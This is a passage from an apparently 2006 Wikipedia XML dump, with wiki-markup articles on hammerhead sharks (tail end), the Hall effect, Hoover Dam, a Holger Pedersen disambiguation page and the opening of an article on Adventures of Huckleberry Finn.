***[[Scoophead]], ''S. (P.) media''
***[[Bonnethead]] or Shovelhead, ''S. (P.) tiburo''
***[[Golden Hammerhead]] (previously known as Smalleye Hammerhead), ''S. (P.) tudes''

Since sharks do not have mineralized bones and rarely [[fossil]]ize, it is their teeth alone that are commonly found as fossils. The hammerheads seem closely related to the [[carcharhinus|carcharhinid sharks]] that evolved during the mid-[[Tertiary]] Period. Because the teeth of hammerheads resemble those of some carcharhinids, it has been difficult to determine when hammerheads first appeared. It is probable that the hammerheads evolved during the late [[Eocene]], [[Oligocene]] or early [[Miocene]]. 

There are two schools of thought for the odd head shape of the hammerheads. One states that it is because of the greater area for sensors to scan the bottom of the seafloor for food and the other that it provides lift (Hammerheads are one of the most negatively buoyant of sharks) and added maneuverability. Both of the theories are probably correct &lt;ref name=&quot;Hammer&quot;&gt;{{Web reference | author=R. Aidan Martin| title=If I Had a Hammer | work=Rodale's Scuba Diving | url=http://www.elasmo-research.org/education/topics/d_functions_of_hammer.htm | date=August | year=1993 }}&lt;/ref&gt;. Geneticist Andrew Martin used [[DNA]] to study all hammer head species and he concluded that the first hammer appeared on the [[Winghead shark]] which have the largest hammer and the rest of the hammerhead sharks evolved one at a time from the original Winghead shark each with a smaller hammer &lt;ref name=&quot;Mutation&quot;&gt;{{Web reference | author=R. Aidan Martin| title=Origin and Evolution of the 'Hammer' | work=www.elasmo-research.org | url=http://www.elasmo-research.org/education/topics/d_hh_origin.htm |date=January | year=2005 }}&lt;/ref&gt;.

==References==
&lt;references /&gt;

==External links==
*[http://animaldiversity.ummz.umich.edu/site/accounts/classification/Sphyrna.html#Sphyrna Animal Diversity Web Genus ''Sphyrna''] with species sub-pages
*[http://www.isidore-of-seville.com/hammerhead/ Hammerhead Shark!] web directory, with pictures
*[http://www.fishbase.org/NomenClature/ScientificNameSearchList.cfm?Crit1_FieldName=SYNONYMS.SynGenus&amp;Crit1_FieldType=CHAR&amp;Crit1_Operator=EQUAL&amp;Crit1_Value=Sphyrna&amp;Crit2_FieldName=SYNONYMS.SynSpecies&amp;Crit2_FieldType=CHAR&amp;Crit2_Operator=contains&amp;Crit2_Value=&amp;group=summary&amp;backstep=-2 Fishbase]
*[http://jeb.biologists.org/cgi/content/full/205/23/3609 &quot;Electroreception in juvenile scalloped hammerhead and sandbar sharks&quot;] by Stephen M. Kajiura and Kim N. Holland,  ''The Journal of Experimental Biology'' (2002). Attempts to explain the &quot;hammer&quot; shape.
* [http://marinebio.org/species.asp?id=87 MarineBio: Great hammerhead shark, Sphyrna mokarran]



[[Category:Sharks]]

[[de:Hammerhaie]]
[[fr:Requin-marteau]]
[[ja:シュモクザメ]]
[[nl:Hamerhaai]]
[[pt:Tubarão-martelo]]
[[zh:&amp;#21452;&amp;#39675;&amp;#40104;&amp;#31185;]]</text>
    </revision>
  </page>
  <page>
    <title>Hall effect</title>
    <id>14307</id>
    <revision>
      <id>40553901</id>
      <timestamp>2006-02-21T11:10:56Z</timestamp>
      <contributor>
        <ip>154.20.29.118</ip>
      </contributor>
      <comment>/* Applications */</comment>
      <text xml:space="preserve">[[Image:Hall effect.png|thumb|300px|Hall effect diagram, showing electron flow (rather than [[conventional current]]). &lt;br&gt;''Legend'': &lt;br&gt;1. Electrons (not [[w:conventional current|conventional current]]!) &lt;br&gt;2. Hall element, or Hall sensor &lt;br&gt;3. Magnets &lt;br&gt;4. Magnetic field &lt;br&gt;5. Power source&lt;br&gt;''Description'':&lt;br&gt;In drawing &quot;A&quot;, the Hall element takes on a negative charge at the top edge (symbolised by the blue color) and positive at the lower edge (red color). In &quot;B&quot; and &quot;C&quot;, either the electric current or the magnetic field is reversed, causing the polarization to reverse. Reversing both current and magnetic field (drawing &quot;D&quot;) causes the Hall element to again assume a negative charge at the upper edge.]]

The '''Hall effect''' refers to the [[potential difference]] ('''Hall voltage''') on opposite sides of a thin sheet of conducting or semiconducting material in the form of a 'Hall bar' or a van der Pauw element through which an [[current (electricity)|electric current]] is flowing, created by a [[magnetic field]] applied perpendicular to the Hall element. The ratio of the voltage created to the amount of current is known as the ''Hall resistance'', and is a characteristic of the material in the element. Dr. [[Edwin Hall]] discovered this effect in [[1879]].

==Analysis==

The Hall effect comes about due to the nature of the current flow in the conductor. Current consists of many small [[electric charge|charge]]-carrying &quot;particles&quot; (typically [[electron]]s) which experience a force (called the [[Lorentz Force]]) due to the magnetic field. Some of these charge elements end up forced to the sides of the conductors, where they create a pool of net charge. This is only notable in larger conductors where the separation between the two sides is large enough.

One very important feature of the Hall effect is that it differentiates between positive charges moving in one direction and negative charges moving in the opposite. The Hall effect offered the first real proof that electric currents in metals are carried by moving electrons, not by protons. Interestingly enough, the Hall effect also showed that in some substances (especially [[semiconductors]]), it is more appropriate to think of the current as positive &quot;holes&quot; moving rather than negative electrons.

[[Image:Hall-effect.png|right|150px]]
By measuring the Hall voltage across the element, one can determine the strength of the magnetic field applied. This can be expressed as 

&lt;math&gt;V_H = \frac{IB}{ned}  &lt;/math&gt;

where ''V&lt;sub&gt;H&lt;/sub&gt;'' is the voltage across the width of the plate, ''I'' is the current across the plate length, ''B'' is the magnetic field, ''d'' is the depth of the plate, ''e'' is the electron charge, and ''n'' is the [[bulk density]] of the carrier electrons.

So-called &quot;[[Hall effect sensor]]s&quot; are readily available from a number of different manufacturers, and may be used in various sensors such as fluid [[flow sensor]]s, [[power sensor]]s, and [[pressure sensor]]s.

In the presence of large [[magnetic field]] strength and low [[temperature]], one can observe the [[quantum Hall effect]], which is the [[quantum mechanics|quantization]] of the Hall resistance.

In [[ferromagnetic]] materials (and [[paramagnetic]] materials in a [[magnetic field]]), the Hall resistivity includes an additional contribution, known as the '''Anomalous Hall Effect''' (or the '''Extraordinary Hall effect'''), which depends directly on the [[magnetization]] of the material, and is often much larger than the ordinary Hall effect. (Note that this effect is &lt;i&gt;not&lt;/i&gt; due to the contribution of the [[magnetization]] to the total [[magnetic field]].) Although a well-recognized phenomenon, there is still debate about its origins in the various materials. The anomalous Hall effect can be either an &lt;i&gt;extrinsic&lt;/i&gt; (disorder-related) effect due to [[spin (physics)|spin]]-dependent [[scattering]] of the [[charge carrier]]s, or an &lt;i&gt;intrinsic&lt;/i&gt; effect which can be described in terms of the [[Berry phase]] effect in the crystal momentum space (&lt;b&gt;k&lt;/b&gt;-space).

==Applications==

Hall effect devices produce a very low signal level and thus require amplification. While suitable for laboratory instruments, the [[vacuum tube]] [[amplifier]]s available in the first half of the [[20th century]] were too expensive, power consuming, and unreliable for everyday applications. It was only with the development of the low cost [[integrated circuit]] that the Hall effect sensor became suitable for mass application. Many devices now sold as &quot;[[Hall effect sensor]]s&quot; are in fact a device containing both the sensor described above and a high gain [[integrated circuit]] (IC) amplifier in a single package. Reed switch electrical motors using the hall effect IC is another application.

===Advantages over other methods===
Hall effect devices when appropriately packaged are immune to dust, dirt, mud, and water. These characteristics make Hall effect devices better for position sensing than alternative means such as optical and electromechanical sensing.
[[Image:HallEffCurrentSense.jpg|thumb|right|250px|Hall effect current sensor with internal integrated circuit amplifier. 8mm opening. Zero current output voltage is midway between the supply voltages that maintain a 4 to 8 volt differential. Non-zero current response is proportional to the voltage supplied and is linear to 60 amperes for this particular (25 A) device.]]
When electrons flow through a conductor, a magnetic field is produced. Thus, it is possible to create a non-contacting current sensor. The device has three terminals. A sensor voltage is applied across two terminals and the third provides a voltage proportional to the current being sensed. This has several advantages; no resistance (a &quot;shunt&quot;) need be inserted in the primary circuit. Also, the voltage present on the line to be sensed is not transmitted to the sensor, which enhances the safety of measuring equipment.

The range of a given feedthrough sensor may be extended upward and downward by appropriate wiring. To extend the range to lower currents, multiple turns of the current-carrying wire may be made through the opening. To extend the range to higher currents, a current divider may be used. The divider splits the current across two wires of differing widths and the thinner wire, carrying a smaller proportion of the total current, passes through the sensor.

====Split ring clamp-on sensor====
A variation on the ring sensor uses a split sensor which is clamped onto the line enabling the device to be used in temporary test equipment. If used in a permanent installation, a split sensor allows the electrical current to be tested without dismantling the existing circuit.

===Analog multiplication===
The output is proportional to both the applied magnetic field and the applied sensor voltage. If the magnetic field is applied by a solenoid, the sensor output is proportional to product of the current through the solenoid and the sensor voltage. As most applications requiring computation are now performed by small (even tiny) [[digital computer]]s, the remaining useful application is in power sensing, which combines current sensing with voltage sensing in a single Hall effect device.

===Power sensing===
By sensing the current provided to a load and using the device's applied voltage as a sensor voltage it is possible to determine the power flowing through a device. This power is (for [[direct current]] devices) the product of the current and the voltage. With appropriate refinement the devices may be applied to [[alternating current]] applications where they are capable of reading the true power produced or consumed by a device.

===Position and motion sensing===
Hall effect devices used in motion sensing and motion limit switches can offer enhanced reliability in extreme environments. As there are no moving parts involved within the sensor or magnet, typical life expectancy is improved compared to traditional electromechanical switches. Additionally, the sensor and magnet may be encapsulated in an appropriate protective material.

====Automotive ignition and fuel injection====
If the magnetic field is provided by a rotating magnet resembling a toothed gear, an output pulse will be generated each time a tooth passes the sensor. This is used in modern [[automobile|automotive]] primary [[distributor]] ignition systems, replacing the earlier &quot;breaker&quot; points (which were prone to wear and required periodic adjustment and replacement). Similar sensor signals are used to control multi-port sequential fuel injection systems, where each cylinder's intake runner is fed fuel from an injector consisting of a spray valve regulated by a solenoid. The sequences are timed to match the intake valve openings and the duration of each sequence (controlled by a computer) determines the amount of fuel delivered.

====Wheel rotation sensing====
The sensing of wheel rotation is especially useful in [[anti-lock brake]] systems. The principles of such systems have been extended and refined to offer more than anti-skid functions, now providing extended vehicle &quot;handling&quot; enhancements.

==The Corbino effect==
The Corbino effect is a phenomenon based on the Hall effect, but a disk-shaped metal sample is used in place of a rectangular one.

== See also ==

* [[Capacitor]]
* [[Elementary charge]]
* [[Frank Wilczek]]
* [[Hall effect thruster]]
* [[Nernst effect]]
* [[Nernst-Ettinghausen effect]]
* [[Quantum Hall effect]]
* [[Thermal Hall effect]]
* [[Transducer]]
* [[Van der Pauw method]]

==External links and references==
* &quot;''[http://www.eeel.nist.gov/812/effe.htm The Hall Effect]''&quot;. nist.gov.
* Hall, Edwin, &quot;''[http://www.stenomuseet.dk/skoletj/elmag/kilde9.html On a New Action of the Magnet on Electric Currents]''&quot;. American Journal of Mathematics vol 2 1879.

[[Category:Hall effect| ]]
[[Category:Condensed matter physics]]
[[Category:Electric and magnetic fields in matter]]

[[da:Hall-effekt]]
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[[lt:Holo efektas]]
[[hu:Hall-effektus]]
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[[ja:ホール効果]]
[[pl:Efekt Halla (klasyczny)]]
[[ru:Эффект Холла]]
[[sr:Холов ефекат]]
[[vi:Hiệu ứng Hall]]</text>
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  </page>
  <page>
    <title>Hoover Dam</title>
    <id>14308</id>
    <revision>
      <id>41665442</id>
      <timestamp>2006-02-28T22:56:28Z</timestamp>
      <contributor>
        <username>Vary</username>
        <id>208472</id>
      </contributor>
      <comment>Revert to revision 41617895 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Hoover dam.jpg|right|thumb|300px|Hoover Dam]]
'''Hoover Dam''' ({{coor dms|36|0|56|N|114|44|16|W|}}) is a [[concrete]] [[Dam#Gravity dams|gravity-arch]] [[dam]] in the [[Black Canyon of the Colorado|Black Canyon]] of the [[Colorado River (U.S.)|Colorado River]], on the [[border]] between [[Arizona]] and [[Nevada]]. The dam, located 48 kilometres (30 miles) southeast of [[Las Vegas, Nevada|Las Vegas]], is named after [[Herbert Hoover]], who played an instrumental role in its construction, first as Secretary of Commerce and then later as [[President of the United States]]. Hoover Dam was built by [[Six Companies|Six Companies, Inc.]], under [[Frank Crowe]]. Construction began in 1931 and was completed in 1936, over two years ahead of schedule.  The dam is operated by the [[Bureau of Reclamation]] of the [[U.S. Department of the Interior]]. Listed on the [[National Register of Historic Places]] in 1981, Hoover Dam was designated a [[National Historic Landmark]] in 1985.

[[Lake Mead]] is the reservoir created behind the dam, named after [[Elwood Mead]] who oversaw the construction of the dam.

==History==
Before the construction of the dam, the Colorado River Basin periodically overflowed its banks when snow from the [[Rocky Mountains]] melted and drained into the river.  These floods endangered downstream farming communities.  In addition to essential flood control, a dam would make possible the expansion of irrigated farming in the parched region.  It would also provide a dependable supply of water for [[Los Angeles]] and other [[Southern California]] communities.
One of the major obstacles for the project was determining the equitable allocation of the waters of the [[Colorado River]]. Several of the Colorado River Basin states feared that [[California]], with its vast financial resources and great thirst for water, would be the first state to begin beneficial use of the waters of the Colorado River and therefore claim rights to the majority of the water. It was clear that without some sort of an agreement on the distribution of water, the project could not proceed.

== Planning and agreements ==

A commission was formed in 1922 with a representative from each of the Basin states and one from the Federal Government. The Government's representative was [[Herbert Hoover]], then Secretary of Commerce under President [[Warren Harding]]. In January 1922, Hoover met with the state governors of Arizona, California,  Nevada, New Mexico, Utah and Wyoming to work out an equitable arrangement for apportioning the waters of the Colorado River for their states' use.  The resulting [[Colorado River Compact]], signed on [[November 24]], [[1922]], split the river basin into upper and lower halves with the states within each region deciding how the water would be divided.  This agreement, known as the Hoover Compromise, paved the way for the Boulder Dam Project. 

The first attempt to gain Congressional approval for construction of Boulder Dam came in 1922 with the introduction of two bills in the House of Representatives and the Senate. The bills were introduced by Congressman [[Phil Swing|Phil D. Swing]] and Senator [[Hiram W. Johnson]] and were known as the Swing-Johnson bills. The bills failed to come up for a vote and were subsequently reintroduced several times. In December 1928, both the House and the Senate finally approved the bill and sent it to the President for approval. On [[December 21]], [[1928]], President [[Calvin Coolidge]] signed the bill approving the Boulder Canyon Project. The initial appropriation for construction was made in July 1930, by which time [[Herbert Hoover]] had become President.

Early plans called for the dam to be built in Boulder Canyon, so the project was known as the Boulder Canyon Project. The dam was actually built in Black Canyon, but the project was still called the Boulder Canyon Project. 

=== Contractors ===
The contract to construct the dam was awarded to [[Six Companies|Six Companies, Inc.]], a joint venture of Morrison-Knudsen Company of Boise, Idaho; Utah Construction Company of Ogden, Utah; Pacific Bridge Company of Portland, Oregon; Henry J. Kaiser &amp; W. A. Bechtel Company of Oakland, California; McDonald &amp; Kahn Ltd. of Los Angeles; and J. F. Shea Company of Portland, Oregon.

During the concrete-pouring and curing portion of construction, it was necessary to pipe refrigerated water through tubes in the wet concrete. This was to remove the heat generated by the chemical reactions that solidify the concrete. [Otherwise, the setting and curing of the mass of concrete was calculated to take about 120 years!] Six Companies, Inc., did much of this work, but it discovered that such a large refrigeration project was beyond its expertise. Hence, the Union Carbide Corporation was contracted to come on board and assist with the refrigeration part of the dam project.

Six Companies, Inc. was contracted to build a new town for construction workers, to be called [[Boulder City, Nevada|Boulder City]], but the construction schedule for the dam was accelerated in order to create more jobs in response to the onset of the Great Depression, and the town was not ready when the first dam workers arrived at the site in early 1931. During the first summer of construction, workers and their families were housed in temporary camps like [[Ragtown, Nevada|Ragtown]] while work on the town progressed. Discontent with Ragtown and dangerous working conditions at the damsite led to a strike on [[August 8]], [[1931]]. Six Companies responded by sending in strike-breakers with guns and clubs, and the strike was soon quashed. But the discontent prompted the authorities to speed up the construction of Boulder City, and by the spring of [[1932]] Ragtown had been deserted. [http://www.bbc.co.uk/history/society_culture/industrialisation/hoover_dam_05.shtml].

While working in the tunnels, many workers suffered from the [[carbon monoxide]] generated by the machinery there, including trucks that were driven in.  The contractors claimed that the sickness was pneumonia and was not their responsibility. Some of the workers sickened and died because of the so-called &quot;pneumonia&quot;. Most are uncounted on the official death list.  In a court case, one of the claimants (Ed Kraus) said that the poisoning had resulted in his impotence.  This was disproved after a prostitute in the pay of the contractors gave evidence.  The jury failed to reach a verdict as a result and the claim was lost.

==Construction==
=== Groundworks ===

To isolate the construction site, and protect it from flooding, two [[Cofferdam#Cofferdams|cofferdams]] were constructed. Construction of the upper cofferdam began in September, 1932, even though the river had not yet been diverted. A temporary horseshoe-shaped dike protected the cofferdam on the Nevada side of the river. After the Arizona tunnels were completed, and the river diverted, the work was completed much faster. Once the coffer dams were in place and the construction site dewatered, excavation for the dam foundation began. In order for the dam to rest on solid rock, it was necessary to remove all loose material until solid rock was reached. Work on the foundation excavations was completed in June 1933. During excavations for the foundation, approximately 1,500,000 yd³ (1,150,000 m³) of material was removed, including material that was the result of canyon wall stripping operations.

=== River diversion ===

To divert the river's flow around the construction site, four tunnels were driven through the canyon walls, two on the Nevada side and two on the Arizona side. These tunnels were 56 feet (17 m) in diameter. Their combined length was nearly 16,000 feet (4880 m, more than three miles). Tunneling began at the lower portals of the Nevada tunnels in May 1931. Shortly after, work began on two similar tunnels in the Arizona canyon wall. In March 1932, work began on lining the tunnels with concrete. First the base or invert was poured. Gantry cranes, running on rails through the entire tunnels were used to place the concrete. The sidewalls were poured next. Moveable sections of steel form were used for the sidewalls. Finally, using pneumatic guns, the overheads were filled in. The concrete lining is 3 feet (914 mm) thick, reducing the finished tunnel diameter to 50 ft (15 m).

=== Rock clearance ===

Before construction could begin on the dam itself, loose rock had to be removed from the canyon walls. Special men were required for the job, men called &quot;high-scalers.&quot;  Their job was to climb down the canyon walls on ropes, where they worked with jackhammers and dynamite to strip away the loose rock.

=== Concrete pouring ===

The first concrete was placed into the dam on [[June 6]], [[1933]]. Since no structure the magnitude of Boulder Dam had ever been constructed, many of the procedures used in construction of the dam were untried. One of the problems that faced the designers was cooling and contraction of the concrete in the dam. Rather than being a single block of concrete, the dam was built as a series of interlocking trapezoidal columns in order to allow the tremendous heat produced by the curing concrete to dissipate. Bureau of Reclamation engineers calculated that if the dam were built in a single continuous pour, the concrete would have gotten so hot that it would have taken 125 years for the concrete to cool to ambient temperatures. The resulting stresses would have caused the dam to crack and crumble away.

It was not enough to place small quantities of concrete in individual columns. In order to speed up the concrete cooling so that the next layer could be poured, each form also contained cooling coils of 1 inch (25 mm) thin-walled steel pipe. When the concrete was first poured, river water was circulated through these pipes. Once the concrete had received a first initial cooling, chilled water from a refrigeration plant on the lower cofferdam was circulated through the coils to finish the cooling. As each block was cooled, the pipes of the cooling coils were cut off and pressure grouted by pneumatic grout guns.

=== Power plant ===

Excavation for the powerhouse was carried out in conjunction with excavations for the dam foundation and abutments. Excavations for the U-shaped structure located at the downstream toe of the dam were completed in late 1933 with the first concrete placed in November 1933. Generators at the Dam's ''Hoover Powerplant'' began to transmit [[electricity]] from the Colorado River a distance of 266 miles (364 km) to [[Los Angeles, California]] on [[October 26]], [[1936]]. Additional generating units were added through 1961.
Water flowing from Lake Mead through the gradually-narrowing penstocks to the powerhouse reaches a speed of about 85 miles per hour when it reaches the turbines.
The seventeen main [[turbine]]-generator combinations at this powerhouse generate a maximum of [[1 E9 W|2,074]] [[megawatt]]s of hydroelectric power. All hydroelectric plants generate a controlled, variable amount of power as the demand for power varies during a day. In fact, a big advantage of hydroelectric power is the ability to quickly and readily vary the amount of power generated, depending on the load presented at that moment. Steam-driven power plants are not so easily &quot;throttled&quot; because of the amount of thermodynamic inertia contained in their systems.

The dam and powerplant are operated by the [[United States Department of the Interior]]'s [[Bureau of Reclamation]].

== Use for road transport ==
[[Image:Hoover_aerial.png|thumb|250px|right|Aerial shot of Hoover Dam]]
The Hoover Dam also serves as a crossing for [[U.S. Route 93]]. This will change by 2008 when the [[Mike O'Callaghan-Pat Tillman Memorial Bridge]] is completed as part of the larger [[Hoover Dam Bypass]] Project. 

The section of U.S. Route 93 that approaches and crosses Hoover Dam is woefully inadequate, especially due to increased vehicle traffic. It is one lane in each direction, has several narrow and dangerous turns, has poor sight distances, and has the occasional rock slide.  In the wake of the [[September 11, 2001]] terrorist attacks, truck traffic over the Hoover Dam has been diverted south to a Colorado River crossing near [[Laughlin, Nevada]] in an effort to safeguard the dam from hazardous spills or explosions. The bypass and the bridge are intended to improve travel times, replace the dangerous roadway, and reduce the threat of an attack or a potential accident at the dam site.

==Statistics==
*Construction period: [[April 20]], [[1931]] - [[March 1]], [[1936]]
*Construction cost: $49 million ($676 million adjusted for [[inflation]])
*Deaths attributed to construction: 96[http://www.usbr.gov/dataweb/dams/hoover_fatalities_table.htm]
*Dam height: 726.4 ft ([[1 E2 m|221.4]] [[metre|m]]), 2nd highest dam in the United States.
*Dam thickness: 660 ft (200 m) at its base; 45 ft (15 m) thick at its crest.
*[[Concrete]]: 4.36 million [[cubic yard|yd³]] ([[1 E6 m³|3.33 million]] [[cubic metre|m³]])
*Electric Power produced by the [[Water turbine|water turbines]]: 2,080 megawatts
*Fatalities during construction: 107
*Traffic across the dam: 13,000 to 16,000 people each day, according to the [[Federal Highway Administration]]
*Lake Mead [http://www.usbr.gov/lc/hooverdam/faqs/lakefaqs.html statistics]
**area: 157,900 acres (639 km²), backing up 110 miles (177 km) behind the dam.
**volume: 28,537,000 acre feet (35.200 km³) at an elevation of 1,221.4 feet (372.3 m) .
*With 8 to 10 million visitors each year, including visitors to Hoover Dam but not all traffic across the dam, the [[Lake Mead National Recreation Area]] is the 5th busiest [[U.S. National Park|U.S. national park]].
*The large spillway tunnel blasted into the Black Canyon walls for Hoover Dam have only been used twice in the history of the dam. Once was during a planned period in the second half of 1941, for testing the spillways, and the second one was for about six weeks during the summer of 1983, when a snow-melt flood in the Colorado River basin made use of the spillways necessary.
*Usually all the flow of the Colorado River, other than that lost to evaporation in Lake Mead, passes through the water turbines of the Hover Dam powerhouse.

==The naming controversy==
The dam, originally planned for a location in Boulder Canyon, was relocated to Black Canyon for better impoundment, but was still known as the '''Boulder Dam''' project. Work on the project started on [[July 7]], [[1930]].  At the official beginning of the project on [[September 17]], [[1930]], President Hoover's [[Secretary of the Interior]] [[Ray L. Wilbur]], announced that the new dam on the Colorado River would be named Hoover Dam to honor the then President of the United States.  Wilbur followed a long-standing tradition of naming important dams after the President who was in office when they were constructed, such as Wilson Dam and Coolidge Dam.  Furthermore, Hoover was already campaigning for re-election in the face of the Depression and sought credit for creating jobs.  A Congressional Act of [[February 14]], [[1931]], made the name &quot;Hoover Dam&quot; official.

In 1932, Hoover lost his bid for reelection to [[Franklin Delano Roosevelt]].  When Roosevelt took office on [[March 4]], [[1933]], and he brought [[Harold L. Ickes|Harold Ickes]] with him to replace Ray Lyman Wilbur as Secretary of the Interior.  Ickes wasted no time removing Hoover’s name from the Boulder Canyon Project.  On May 8, 1933, Ickes issued a memorandum to the Bureau of Reclamation, which was in charge of the dam, stating, &quot;I have your reference to the text for the pamphlet descriptive of the Boulder Canyon Project for use at the Century of Progress Exposition.  I would be glad if you will refer to the dam as 'Boulder Dam' in this pamphlet as well as in correspondence and other references to the dam as you may have occasion to make in the future.&quot;

Ickes could not &quot;officially&quot; change the name of the dam, as that had been set by Congress, but the effect was the same:  all reference to &quot;Hoover&quot; Dam vanished in favor of &quot;Boulder&quot; Dam.  Official sources, as well as tourist and other promotional material now read Boulder Dam. 

Roosevelt died in 1945 and Harold Ickes retired in 1946.  On [[March 4]], [[1947]] California Congressman Jack Anderson submitted House Resolution 140 to &quot;restore&quot; the name Hoover Dam. Anderson’s resolution passed the House on [[March 6]]; a companion resolution passed the Senate on [[April 23]], and on [[April 30]], [[1947]], President [[Harry S. Truman]] signed Public Law 43 which read:  &quot;Resolved … that the name of Hoover Dam is hereby restored to the dam on the Colorado River in Black Canyon constructed under the authority of the Boulder Canyon Project Act … . Any law, regulation, document, or record of the United States in which such dam is designated or referred to under the name of Boulder Dam shall be held to refer to such dam under and by the name of Hoover Dam.&quot;

==Image gallery==
&lt;center&gt;&lt;gallery&gt;
Image:U.S._Highway_93_on_Hoover_Dam.jpeg|U.S. Highway 93 on Hoover Dam
Image:DamTimeZones.jpg|The dam crosses the border between two time zones, the [[Pacific Time Zone]] the [[Mountain Time Zone]]
Image:HooverDamFromAbove.JPG|From above down towards the [[Colorado River]] side
Image:HooverDownstream.jpg|View downstream from top of dam
&lt;/gallery&gt;&lt;/center&gt;

{{Colorado_River_system}}

==Trivia==
The [[hardhat]] was invented, and first used, by the construction workers of the Hoover Dam.

==References==
* Stevens, Joseph E., ''Hoover Dam: An American Adventure,'' University of Oklahoma Press, 1990.

==External links==
{{commons|Category:Hoover Dam|Hoover Dam}}
*[http://www.usbr.gov/lc/hooverdam/ Hoover Dam's official website]
*[http://xroads.virginia.edu/~1930s/DISPLAY/hoover/front2.html Hoover Dam: Lonely Lands Made Fruitful]
*[http://www.structurae.de/en/structures/data/s0000136/index.cfm Structurae: Hoover Dam]
*[http://www.bbc.co.uk/history/society_culture/industrialisation/hoover_dam_01.shtml BBC - Hoover Dam, industrial and social history]
*[http://www.sunsetcities.com/hoover-dam.html Hoover Dam page]
*[http://www.citlink.net/~davegun/hdIX.html Dams of the Lower Colorado River - Hoover Dam]
*[http://www.1st100.com/part1/crowe.html Frank Crowe - Builder of Hoover Dam]
*&quot;Boulder Dam&quot; &amp;ndash; [http://www.archive.org/details/BoulderD1931 Part I] and [http://www.archive.org/details/BoulderD1931_2 Parts III and IV],  documentary films from the [[Prelinger Archives]] at the [[Internet Archive]].
*Nine [http://www.mazmanian.net/visuals/industrial-fashion.html Unique Images of Hoover Dam] Including Spillways, Underground Areas, Generators, and Transformers
{{geolinks-US-streetscale|36.0161|-114.7372}}
{{geolinks-US-loc|36.0161|-114.7372|Hoover+Dam}}
*[http://services.google.com/earth/kmz/HooverDam.kmz Google Earth view]


[[Category:American architecture]]
[[Category:Arizona landmarks]]
[[Category:Art Deco]]
[[Category:Dams in the United States]]
[[Category:Historic civil engineering landmarks]]
[[Category:Nevada landmarks]]
[[Category:Reservoirs in the United States]]
[[Category:United States National Historic Landmarks]]
[[Category:Buildings and structures in Arizona]]


[[cs:Hooverova přehrada]]
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[[fr:Barrage Hoover]]
[[fi:Hooverin pato]]
[[he:סכר הובר]]
[[ja:フーバーダム]]
[[nl:Hoover Dam]]
[[ru:Плотина Гувера]]
[[sv:Hooverdammen]]
[[th:เขื่อนฮูเวอร์]]</text>
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  </page>
  <page>
    <title>Holger Pedersen</title>
    <id>14309</id>
    <revision>
      <id>19205642</id>
      <timestamp>2005-07-20T05:04:08Z</timestamp>
      <contributor>
        <username>Twthmoses</username>
        <id>173821</id>
      </contributor>
      <comment>made it a disambig page</comment>
      <text xml:space="preserve">* [[Holger Pedersen (linguist)|Holger Pedersen ]] - Danish linguist (1867-1953)
* [[Holger Pedersen (astronomer)|Holger Pedersen ]] - Danish astronomer (b.1946), at the [[European Southern Observatory]].

{{disambig}}</text>
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  </page>
  <page>
    <title>Adventures of Huckleberry Finn</title>
    <id>14311</id>
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      <text xml:space="preserve">[[Image:Huck-and-jim-on-raft.jpg|thumb|250px|right|Huckleberry Finn and Jim]]

'''''Adventures of Huckleberry Finn''''' ([[1885 in literature|1885]]) by [[Mark Twain]] (Samuel Clemens) is commonly accounted as one of the first [[Great American Novel]]s.  It was also one of the first novels ever written in the vernacular, or common speech, being told in the first person by the [[eponym]]ous [[List of characters in the Tom Sawyer series|Huckleberry &quot;Huck&quot; Finn]], best friend of [[Tom Sawyer]] (hero of three other Mark Twain books).  The book was first published on [[February 18]], [[1885]].  ''The Adventures of Huckleberry Finn'' is also a great example of a [[bildungsroman]].

In ''[[The Green Hills of Africa]]'', [[Ernest Hemingway]] placed the novel in historical context:
:&quot;All modern American literature comes from one book by Mark Twain called ''Huckleberry Finn''… But it's the best book we've had. All American writing comes from that. There was nothing before.  There has been nothing as good since.&quot;  

[[Norman Mailer]], likewise, had great praise saying, &quot;The mark of how good ''Huckleberry Finn'' has to be is that one can compare it to a number of our best modern American novels and it stands up page for page.&quot;&lt;!--Where?--&gt;

The book is noted for its innocent young protagonist, its colorful description of people and places along the [[Mississippi River]], and its sober and often scathing look at entrenched attitudes, particularly [[racism]], of the time.  The drifting journey of Huck and his friend Jim, a runaway [[slavery|slave]], down the Mississippi River on their raft, may be one of the most enduring images of [[escape]] and [[freedom]] in all of [[American literature]].

Although the book has been popular with young readers since its publication, and taken as a sequel to the comparatively innocuous ''[[The Adventures of Tom Sawyer]]'' (which had no particular social message), it has also been the continued object of study by serious literary critics.  Although the Southern society it satirized was already 40 years in the past by the time of publication, it immediately became controversial, and has remained so to this day (see &quot;Controversy&quot; below).

{{spoiler}}

[[Image:Mark_twain2.JPG|frame|250px|right|Mark Twain]]
Many white characters in the story are depicted as foolish, cruel or selfish, in contrast to the main black character, [[Jim the slave|Jim]], who is depicted as wise and unselfish, albeit uneducated and superstitious.  The story is set before the [[American Civil War]], probably in the [[1830s]].  Huck, as we know from ''Tom Sawyer'', is a loose-living young [[vagabond]] with no mother and an [[alcoholism|alcoholic]] father.  He meets Jim, a slave who is about to be sold down the river and separated from his wife and children, and they attempt to go  down the [[Mississippi River]] and then up the [[Ohio River|Ohio]] to freedom.  The book tells of their [[adventure]]s together.  

Family is one of the most important themes in the book.  The attempt by Huck's father to gain custody of him in order to steal the money Huck and Tom had found in the previous book precipitates his flight, staging his own murder to get away.  One of the major plot devices in the book is Jim's hiding the death of Huck's father from him.  As they travel the river, Huck is frequently involved with families who attempt to adopt him.  

Another theme is the life on the [[Mississippi River]], alternately idyllic and threatening.  In true [[picaresque novel|picaresque]] fashion, Huck and Jim encounter all the varieties of humanity as they travel:  murderers, thieves, [[Confidence trick|confidence men]], good people and [[hypocrite]]s.  

In the middle of the story, Mark Twain comments on the irrationality of pride and honor, as Huck sees brutal, cold-blooded murders committed by two feuding families.  Later on, a southern [[aristocrat]] coldly kills a drunk man yelling empty threats at him, and the village turns the incident into a sort of circus, ignoring the dead man's daughter while trying to start a [[lynch mob]], which quickly disintegrates after being mocked by the murderer himself.  The King and Duke, two infamous characters of the novel, attempt to con three orphaned girls out of their late uncle's life savings.  Towards the end of the book, they are [[Tarring and feathering|tarred and feathered]], and carried out of town on a rail, symbolizing how equally evil a village of people can be.  In fact, it is repeatedly shown that Jim, the [[fugitive]] slave, is one of the only characters in the novel with a [[conscience]].

